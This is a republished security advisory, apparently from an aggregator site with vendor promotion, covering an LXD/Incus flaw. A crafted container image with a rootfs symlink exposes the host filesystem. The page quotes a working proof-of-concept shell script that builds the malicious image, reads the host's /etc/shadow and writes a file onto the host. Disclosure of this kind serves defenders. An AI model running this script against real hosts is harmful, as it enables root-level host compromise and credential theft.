GITHUB.COM/CANONICAL/LXD · GHSA-vghh-5rfx-xhq8 · Infrastructure
FIX → 0.0.0-20260630083100-c5184be310b1
A crafted container image with a symlinked rootfs directory lets its container reach the host filesystem. An attacker who can import such an image can read and write arbitrary host files with root privileges, possibly leading to command execution.
first public Nov 6, 2026 · 1 source
Check it with your coding agent
It checks your repository and tells you if you’re affected, with the fix.
Hosts running LXD that import container images, especially images from sources outside the team. The sources describe the flaw as a crafted image with a duplicate top-level rootfs symlink that later extraction follows. Hosts that only use images they build themselves or that never accept imports from outside are lower risk, but the sources do not say which configurations are exempt.
Not affected if fixed-version, no-untrusted-images
Who cares containers, cwe-73, linux, lxd, self-hosted
lxd --version and compare against the fixed Go module version in the product data (commit c5184be310b1, 2026-06-30 snapshot).lxc image list.Upgrade to 0.0.0-20260630083100-c5184be310b1
0.0.0-20260630083100-c5184be310b1 or later.Reported from https://github.com/lxc/incus/security/advisories/GHSA-2q3f-q5pq-g8wv
A specially crafted image can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution.
Incus validates an image as soon as it sees a normal metadata.yaml and
a rootfs/ entry, but full extraction can later process a duplicate top-level
rootfs symlink. Later, the stopped-container file API opens
d.RootfsPath() and passes that file descriptor to forkfile, which chroots to
it.
metadata.yaml
rootfs/
rootfs -> /
In practice, this allows a malicious actor to access the host's filesystem with root privileges.
Below, we map the container's rootfs to / on the host, but it can be
mapped anywhere. We then retrieve the host's /etc/shadow file and
create a file in .
Are you affected?
Tell InfraStack what you run. It checks this one, and every next one, against your stack.
Ask from here. InfraStack checks the affected versions against your stack and answers in your inbox.
InfraStack checks the affected versions against your stack and answers in Slack, with the evidence and the fix.
/#!/bin/sh
set -eu
tmpdir=$(mktemp -d)
cleanup() {
rm -rf "${tmpdir}"
}
trap cleanup EXIT INT QUIT TERM HUP
mkdir -p "${tmpdir}/img/rootfs"
cat<<__EOF__>"${tmpdir}/img/metadata.yaml"
architecture: x86_64
creation_date: 1
properties:
description: PoC rootfs symlink host afrw
__EOF__
cd "${tmpdir}/img"
tar --owner=0 --group=0 -f- -c * >../afrw-rootfs-symlink.tar
# inject rootfs symlink
rmdir rootfs
ln -s / rootfs
tar --owner=0 --group=0 -f ../afrw-rootfs-symlink.tar --append rootfs
incus image import ../afrw-rootfs-symlink.tar --alias afrw-rootfs-symlink
incus init afrw-rootfs-symlink afrw-rootfs-symlink
# read
incus file pull afrw-rootfs-symlink/etc/shadow "${tmpdir}/shadow"
cat "${tmpdir}/shadow"
# write
printf 'afrw-rootfs-symlink\n' >"${tmpdir}/afrw-rootfs-symlink"
incus file push "${tmpdir}/afrw-rootfs-symlink" afrw-rootfs-symlink/
Arbitrary file read and write on the host via unsanitized symlink; possibly leading to command execution.
This page as .md · .json · CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
GitHub Advisory Database, CC-BY 4.0. Posts quoted belong to their authors.